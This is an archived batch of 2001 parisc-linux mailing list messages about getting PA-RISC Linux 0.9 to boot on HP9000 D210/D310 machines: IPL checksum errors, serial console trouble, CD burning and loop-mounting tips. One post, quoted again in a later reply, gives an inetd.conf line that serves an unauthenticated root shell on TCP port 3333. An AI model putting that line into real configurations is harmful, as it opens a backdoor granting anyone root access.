X-Mailer: Mozilla 4.72 [de] (X11; U; Linux 2.2.14-5.0smp i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11238

please help,

i can't load linux pa-risc 0.9seriell on my HP9000/D210.
Why?

(HP-UX 10.20 is running....)

Jan Heumann
jheumann@fonts.de
-----------------------------------------------------
Main Menu: Enter command > search

Searching for potential boot device(s)...
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).



   Path Number        Device Path (dec)        Device Type
   -----------        -----------------        -----------
   P0                 4.5                      Random access media
   P1                 4.8                      Random access media
   P2                 16/5.2                   Random access media
   P3                 16/6.0                   LAN Module


Main Menu: Enter command > boot p2
Interact with IPL (Y or N)?> n

Booting...
Boot IO Dependent Code (IODC) revision 1

IPL error: bad IPL checksum.

Error Reading IPL

Main Menu: Enter command > search

Searching for potential boot device(s)...
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).



   Path Number        Device Path (dec)        Device Type
   -----------        -----------------        -----------
   P0                 4.5                      Random access media
   P1                 4.8                      Random access media
   P2                 16/5.2                   Random access media
   P3                 16/6.0                   LAN Module


Main Menu: Enter command > boot p2
Interact with IPL (Y or N)?> y

Booting...
Boot IO Dependent Code (IODC) revision 1

IPL error: bad IPL checksum.

Error Reading IPL

--------------------------------------------------------

information all

PROCESSOR INFORMATION

             HVERSION  SVERSION   CVERSION
    Speed     Model    Model/Op  (Revision)
  ---------  --------  --------  ----------
   100 MHz    0x4840    0x0481       12

  HSC Bus Speed (in MHz) :         33
  Software ID (dec)      : 2009187834
  Software ID (hex)      : 0x77c1c5fa
  Software Capability    : 0xf0


<Press any key to continue (q to quit)>

COPROCESSOR INFORMATION

      Coprocessor      Coprocessor       Coprocessor
         Model          Revision            State
      -----------      -----------      -------------
       0x0000000d              1         Functional


CACHE INFORMATION

      Instruction Cache Size    Data Cache Size
      -----------------------   ---------------
       128 KB                    128 KB

<Press any key to continue (q to quit)>

MEMORY INFORMATION

   Slot        Card Size        Amount Enabled
   ----        ---------        --------------
    0            64 MB            64 MB
    1            64 MB            64 MB
    2            64 MB            64 MB
    3            64 MB            64 MB
    4            64 MB            64 MB
    5            64 MB            64 MB

  Physical Memory:     384 MB      (0x18000000)
  Configured Memory:   384 MB      (0x18000000)

<Press any key to continue (q to quit)>

I/O MODULE INFORMATION
                                                               IODC
IODC
Path (dec)   Type                Slot Mod HVERSION  SVERSION   Vers
Dep
----         ----                ---- --- -------- ---------- ------
------
4            A DMA I/O             1   0   0x0131  0x00008980  0x07
0x00
16           Bus Adapter           4   0   0x02e0  0x00008100  0x00
0x00
16/4         Built-in RS232        1   0   0x02e0  0x00008c00  0x01
0x00
16/5         Built-in SE SCSI      1   1   0x02e0  0x00008200  0x01
0x00
16/6         Built-in LAN          1   2   0x02e0  0x00008a00  0x02
0x00
16/0         Built-in Parallel     0   0   0x02e0  0x00007400  0x00
0x00
16/7         Built-in Keyboard     1   3   0x02e0  0x00008400  0x00
0x00
16/8         Built-in Mouse        2   0   0x02e0  0x00008400  0x00
0x00
20           Bus Adapter           5   0   0x0300  0x00008e00  0x00
0x00
20/2         RS232 Port            0   2   0x0300  0x00008c00  0x01
0x00
20/5         Bus Adapter           1   1   0x0300  0x00009000  0x00
0x00

<Press any key to continue (q to quit)>

Hot Swap module is present.

EISA Cards

Path        Type                            EISA ID
----        ----                            -------
20/5/1      EISA card                       0x25d00400
20/5/2      EISA slot is empty
20/5/3      EISA slot is empty
20/5/4      EISA slot is empty

<Press any key to continue (q to quit)>

BOOT INFORMATION

  Autoboot:             ON
  Autosearch:           ON
  Fastboot:             OFF

  Primary boot path:    4.8   (dec)
                        04.8   (hex)
  Alternate boot path:  16/5.2   (dec)
                        10/05.2   (hex)
  Console path:         16/4.0   (dec)
                        10/04.0   (hex)
  Keyboard path:        16/7.0   (dec)
                        10/07.0   (hex)

  LAN Station Address:  080009-af13c8

  Mon Jan  5 21:15:36 GMT 1970    (19:70:01:05:21:15:36)

<Press any key to continue (q to quit)>

FIRMWARE INFORMATION

  Firmware Version:     36.34


CHIP REVISIONS

  Module                           Revision
  ------                           --------
  System Board                     0
  Processor Board                  2
  PA 7100LC                        12
  Firmware                         20
  Fast/Wide SCSI Board             1
  Multifunction I/O Controller     0
  EISA Interface                   0

<Press any key to continue (q to quit)>

WARNINGS

No warnings to report.

Information Menu: Enter command >
















From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D310 boot messages
Date: Tue, 5 Jun 2001 07:26:52 -0500 (CDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106050723380.21394-100000@oliver.internal.sjdjweis.com>
References: <20010605104655.H25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620178 20342 80.91.229.3 (22 Nov 2014 01:36:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 06:25:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DD91482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 06:25:33 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id HAA22758;
	Tue, 5 Jun 2001 07:26:52 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <20010605104655.H25745@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11239

On Tue, 5 Jun 2001, Richard Hirst wrote:
> On Mon, Jun 04, 2001 at 02:16:49PM -0500, djweis@sjdjweis.com wrote:
> > So now, what major and minor should /dev/ttyB have to
> > function? /dev/console is 5 1 on my nfsroot.
> My understanding of the pdc console is that it is output only,
> used only until a real console device is available, and so wont
> work as a linux console.  Hopefully someone will correct me if I'm
> wrong.

Okay, what needs to be done to make this all work? Is the console config
fine except for the fact that it stops working after the serial init?

> > Good job getting it to work this well, especially since it's listed as
> > untested! Also, the LCD on the front doesn't seem to do anything. What
> > needs to happen for that to work?
> I turned off LCD support in the release kernels because of reports
> that it was causing problems on some systems.  See
> <http://bugs.parisc-linux.org/db/10/104.html>.  You can turn it
> back on if you build your own kernel.

If it's known not to work, that's good enough reason not to mess with it
yet.

I grabbed the bigger nfsroot and got my machine booting from it last
night. telnet/rlogin/rsh wouldn't work, so I used the script kiddie remote
login method and added 
3333	stream	tcp	nowait	root	/bin/sh sh -i
to inetd.conf and can get in to the machine. If there's anything I can do
on there to help in debugging the serial problem, let me know. 

dave


-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9ser can't install on D210
Date: Tue, 5 Jun 2001 13:47:19 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <20010605134719.I25745@linuxcare.com>
References: <3B1CB312.1C9DBAB9@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620178 20347 80.91.229.3 (22 Nov 2014 01:36:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: jheumann@fonts.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 06:51:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE4F9482E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Jun 2001 06:51:18 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA18569
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Jun 2001 06:43:54 -0600
Original-Received: (qmail 28506 invoked by uid 15267); 5 Jun 2001 12:51:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28497 invoked from network); 5 Jun 2001 12:51:13 -0000
Original-Received: from pc2-hems4-0-cust95.bre.cable.ntl.com (HELO rhirst.linuxcare.com) (213.107.176.95)
  by mailserv2.iuinc.com with SMTP; 5 Jun 2001 12:51:13 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id BEFCDB007; Tue,  5 Jun 2001 13:47:19 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B1CB312.1C9DBAB9@fonts.de>; from jheumann@fonts.de on Tue, Jun 05, 2001 at 12:23:14PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11240

On Tue, Jun 05, 2001 at 12:23:14PM +0200, jheumann@fonts.de wrote:
> please help,
> 
> i can't load linux pa-risc 0.9seriell on my HP9000/D210.
> Why?

You will see from <http://parisc-linux.org/release-0.9/systems.html>
that D series machines have not been tested.  However, your problem
looks more like trouble reading the CD.  Can you mount the CD on some
other system and see the contents, just to check the CD is burned
properly?

Alternatively you could try a network boot, as described in the
README on the CD.

Richard


> 
> (HP-UX 10.20 is running....)
> 
> Jan Heumann
> jheumann@fonts.de
> -----------------------------------------------------
> Main Menu: Enter command > search
> 
> Searching for potential boot device(s)...
> This may take several minutes.
> 
> To discontinue search, press any key (termination may not be immediate).
> 
> 
> 
>    Path Number        Device Path (dec)        Device Type
>    -----------        -----------------        -----------
>    P0                 4.5                      Random access media
>    P1                 4.8                      Random access media
>    P2                 16/5.2                   Random access media
>    P3                 16/6.0                   LAN Module
> 
> 
> Main Menu: Enter command > boot p2
> Interact with IPL (Y or N)?> n
> 
> Booting...
> Boot IO Dependent Code (IODC) revision 1
> 
> IPL error: bad IPL checksum.
> 
> Error Reading IPL
> 
> Main Menu: Enter command > search




From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Date: Tue, 5 Jun 2001 07:24:31 -0500
Lines: 82
Approved: news@gmane.org
Message-ID: <01060507541700.00472@wolf01.my.home>
References: <20010605172316.A12216@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620179 20353 80.91.229.3 (22 Nov 2014 01:36:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 06:56:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflash.com (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3102482E
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 06:56:24 -0600 (MDT)
Original-Received: from wolf01.my.home (ppp64.cc1.pflash.com [63.121.24.66]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005294551@vopserver.pflash.com>;
 Tue, 5 Jun 2001 07:51:22 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11241

Matthew -

Great idea - both sites should CLEARLY cross-link their information pages=
=2E

My own suggestions:
1) - leave the /devel directory on the CD image until at least
version 12.0.0 of pa-risc.linux.

I am using the kernel snap-shot of 06/03/2001 - in the hopes
that it is close to what was used to build the kernels in V0.9 -
but that is only a guess on my part

2) - don't drop a built kernel into an image of even a pre-release
CD until it compiles error (and warning) free.

Some of the problems I have found and fixed were clearly
mentioned by the compiler.

3) - Note to others trying fix "Old Box" support -

Please use a command line such as:
date >0603_something_cmnd.txt ; \
date >0603_something_errs.txt ; \
make vmlinux (or whatever) >>0603_something_cmnd.txt 2>>0603_something_er=
rs.txt

Then tar-zip the linux/.config, ...cmnd.txt, and the ...errs.txt -
attach to e-mail directed to Mike <mszick@pfash.com>

The more paths through this code taken by the compiler, the faster=20
I should be able to find (and maybe fix) the "Old Box" support.

4) - Note to folks posting the daily kernel snapshots -
4.a) - Please make the "daily snapshots" contain only changed
files from the prior "daily snapshot".
4.b) - Please make a "complete" kernel snapshot only once
a week.
4.c) - Please include the three files mentioned above in
each and every snapshot.

Being able to diff those three files is a big aid in making
progress on these problems.

Mike

On Tue, 05 Jun 2001, Andrew Shugg wrote:
> Matthew Wilcox said:
> > Well, 720 is explicitly mentioned as not yet being supported.
>=20
> I'm not sure who is looking after the debian-hppa web page at
> /ports/hppa/ (glad to see it is being kept up to date though!) but
> perhaps whomever it is could point to the parisc-linux.org hardware
> compatibility page.
>=20
>   http://parisc-linux.org/release-0.9/systems.html
>   http://parisc-linux.org/hardware/supported.html
>=20
> Or perhaps its information could be paraphrased on the debian-hppa page
> for first-time visitors?  eg "for the curious amongst you, the followin=
g
> systems work: xxx, these maybe work yyy, and these definitely don't zzz=
"
>=20
> Andrew.
>=20
> --
> Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com=
=2Eau/
>=20
> "Just remember, Mr Fawlty, there's always someone worse off than yourse=
lf."
> "Is there?  Well I'd like to meet him.  I could do with a good laugh."
>=20
>=20
> -- =20
> To UNSUBSCRIBE, email to debian-hppa-request@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debi=
an.org




From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@chico.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9ser can't install on D210
Date: Tue, 5 Jun 2001 14:57:31 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20010605145731.A73568@chico.franken.de>
References: <3B1CB312.1C9DBAB9@fonts.de>
Reply-To: tsbogend@alpha.franken.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620179 20359 80.91.229.3 (22 Nov 2014 01:36:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: jheumann@fonts.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 06:58:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1C3F482E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Jun 2001 06:58:10 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA18612
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Jun 2001 06:50:41 -0600
Original-Received: (qmail 6501 invoked by uid 15267); 5 Jun 2001 12:57:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6475 invoked from network); 5 Jun 2001 12:57:58 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 5 Jun 2001 12:57:58 -0000
Original-Received: by rachael.franken.de 
	for parisc-linux@thepuffingroup.com
	id m157GPE-00291KC; Tue, 5 Jun 2001 14:57:56 +0200 (MET DST)
Original-Received: from dns.franken.de(193.175.24.33), claiming to be "chico.franken.de"
 via SMTP by rachael.franken.de, id smtpdAAAa08521; Tue Jun  5 14:57:32 2001
Original-Received: by chico.franken.de 
	for parisc-linux@thepuffingroup.com
	id m157GOp-0033JBC; Tue, 5 Jun 2001 14:57:31 +0200 (MET DST)
X-Mailer: Mutt 1.0.1i
In-Reply-To: <3B1CB312.1C9DBAB9@fonts.de>; from jheumann@fonts.de on Tue, Jun 05, 2001 at 12:23:14PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11242

On Tue, Jun 05, 2001 at 12:23:14PM +0200, jheumann@fonts.de wrote:
> Booting...
> Boot IO Dependent Code (IODC) revision 1
> 
> IPL error: bad IPL checksum.
> 
> Error Reading IPL

did you use cdrecord -isosize to burn the CD ? I have the same problem and 
that's the only option, which I probably haven't used, when burning the 
0.5 ISO. I'll try to burn a cd without using -isosize, when I get home
this evening.

Thomas.





From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9ser can't install on D210
Date: Tue, 5 Jun 2001 08:00:45 -0500
Lines: 82
Approved: news@gmane.org
Message-ID: <01060508142901.00472@wolf01.my.home>
References: <20010605134719.I25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620179 20364 80.91.229.3 (22 Nov 2014 01:36:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc-linux@parisc-linux.org,
	<debian-hppa@lists.debian.org>
To: jheumann@fonts.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 07:15:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflash.com (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E9B3482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 07:15:24 -0600 (MDT)
Original-Received: from wolf01.my.home (ppp64.cc1.pflash.com [63.121.24.66]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005294801@vopserver.pflash.com>;
 Tue, 5 Jun 2001 08:10:22 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11243

All -
OR, you might:

$>gunzip whatever.CD.ISO.gz
#>losetup /dev/loop0 ${whatever_path}/watever.CD.ISO
#>$mount -r -t iso9660 /dev/loop0 /somewhere

now you can browse the CD image to your hearts content.
also you can mount upto ten of these things (loop0-loop9) at
the same time.

Of course, you did build your kernel with the "loop device" and
"iso9660 filesystem support" didn't you?

PS: You can use similar commands to browse (and modify) your
ramdisk.bin files.

Mike

On Tue, 05 Jun 2001, Richard Hirst wrote:
> On Tue, Jun 05, 2001 at 12:23:14PM +0200, jheumann@fonts.de wrote:
> > please help,
> >=20
> > i can't load linux pa-risc 0.9seriell on my HP9000/D210.
> > Why?
>=20
> You will see from <http://parisc-linux.org/release-0.9/systems.html>
> that D series machines have not been tested.  However, your problem
> looks more like trouble reading the CD.  Can you mount the CD on some
> other system and see the contents, just to check the CD is burned
> properly?
>=20
> Alternatively you could try a network boot, as described in the
> README on the CD.
>=20
> Richard
>=20
>=20
> >=20
> > (HP-UX 10.20 is running....)
> >=20
> > Jan Heumann
> > jheumann@fonts.de
> > -----------------------------------------------------
> > Main Menu: Enter command > search
> >=20
> > Searching for potential boot device(s)...
> > This may take several minutes.
> >=20
> > To discontinue search, press any key (termination may not be immediat=
e).
> >=20
> >=20
> >=20
> >    Path Number        Device Path (dec)        Device Type
> >    -----------        -----------------        -----------
> >    P0                 4.5                      Random access media
> >    P1                 4.8                      Random access media
> >    P2                 16/5.2                   Random access media
> >    P3                 16/6.0                   LAN Module
> >=20
> >=20
> > Main Menu: Enter command > boot p2
> > Interact with IPL (Y or N)?> n
> >=20
> > Booting...
> > Boot IO Dependent Code (IODC) revision 1
> >=20
> > IPL error: bad IPL checksum.
> >=20
> > Error Reading IPL
> >=20
> > Main Menu: Enter command > search
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D310 boot messages
Date: Tue, 5 Jun 2001 14:51:56 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010605145156.J25745@linuxcare.com>
References: <20010605104655.H25745@linuxcare.com> <Pine.LNX.4.21.0106050723380.21394-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620180 20371 80.91.229.3 (22 Nov 2014 01:36:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: djweis@sjdjweis.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 07:55:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47B6A4894
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 07:55:25 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7D656B007; Tue,  5 Jun 2001 14:51:56 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0106050723380.21394-100000@oliver.internal.sjdjweis.com>; from djweis@sjdjweis.com on Tue, Jun 05, 2001 at 07:26:52AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11244

So with the nfsroot you have the D310 booting, but with the 0.9 ISO
it stops after serial driver initialisation.

What kernel are you using with the nfsroot?

What parameters is it booted with?

Richard

> I grabbed the bigger nfsroot and got my machine booting from it last
> night. telnet/rlogin/rsh wouldn't work, so I used the script kiddie remote
> login method and added 
> 3333	stream	tcp	nowait	root	/bin/sh sh -i
> to inetd.conf and can get in to the machine. If there's anything I can do
> on there to help in debugging the serial problem, let me know. 




From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D310 boot messages
Date: Tue, 5 Jun 2001 09:14:05 -0500 (CDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106050904490.22868-100000@oliver.internal.sjdjweis.com>
References: <20010605145156.J25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620180 20375 80.91.229.3 (22 Nov 2014 01:36:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 08:12:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCF52482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 08:12:26 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id JAA23059;
	Tue, 5 Jun 2001 09:14:05 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <20010605145156.J25745@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11245

On Tue, 5 Jun 2001, Richard Hirst wrote:

> So with the nfsroot you have the D310 booting, but with the 0.9 ISO
> it stops after serial driver initialisation.

No, if I boot off the cd, I get IPL errors. When I netboot the kernel off
the cd, it stopped at serial init. I don't think it actually stopped, I
think it no longer printed but still booted.

> What kernel are you using with the nfsroot?

linux-20010603.tar.gz from the ftp site, built by me with the xc from the
ftp site.

> What parameters is it booted with?

./palo/palo -f /dev/null \
-b iplboot \
-k /home/djweis/HP/linux/vmlinux \
 \
-c "0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=192.168.1.10
console=ttyB" \
	-s lifimage

If I set the console back to ttyS0 it stops printing after the serial
init, but if I leave it at ttyB I can see where it gets to the point of
not having an initial console. The serial driver doesn't seem to be
working, I telnet in and run echo hello > /dev/ttyS0 and it doesn't show
up on the machine running minicom. I have two serial ports on the back,
plus the UPS monitoring port, but only one serial port is
probed/acknowledged.

dave

-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D310 boot messages
Date: Tue, 5 Jun 2001 16:06:53 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010605160653.L25745@linuxcare.com>
References: <20010605145156.J25745@linuxcare.com> <Pine.LNX.4.21.0106050904490.22868-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620181 20377 80.91.229.3 (22 Nov 2014 01:36:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: djweis@sjdjweis.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 09:10:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FF91482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 09:10:22 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 318CBB007; Tue,  5 Jun 2001 16:06:53 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0106050904490.22868-100000@oliver.internal.sjdjweis.com>; from djweis@sjdjweis.com on Tue, Jun 05, 2001 at 09:14:05AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11246

On Tue, Jun 05, 2001 at 09:14:05AM -0500, djweis@sjdjweis.com wrote:
> 
> On Tue, 5 Jun 2001, Richard Hirst wrote:
> 
> > So with the nfsroot you have the D310 booting, but with the 0.9 ISO
> > it stops after serial driver initialisation.
> 
> No, if I boot off the cd, I get IPL errors. When I netboot the kernel off
> the cd, it stopped at serial init. I don't think it actually stopped, I
> think it no longer printed but still booted.

Ah, ok.  I'd misunderstood you.  So the kernel on the CD is no
different from the one you built yourself.  That's a relief!

Have you checked both serial ports, just in case the one the
kernel finds isn't the one you are using?

>From the boot msgs you sent earlier, it looks like you turned
SERIAL_DEBUG_AUTOCONF on.  Does it actually run the loopback
test at serial.c:3671 successfully?

Richard





From - Thu Nov 08 21:17:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D310 boot messages
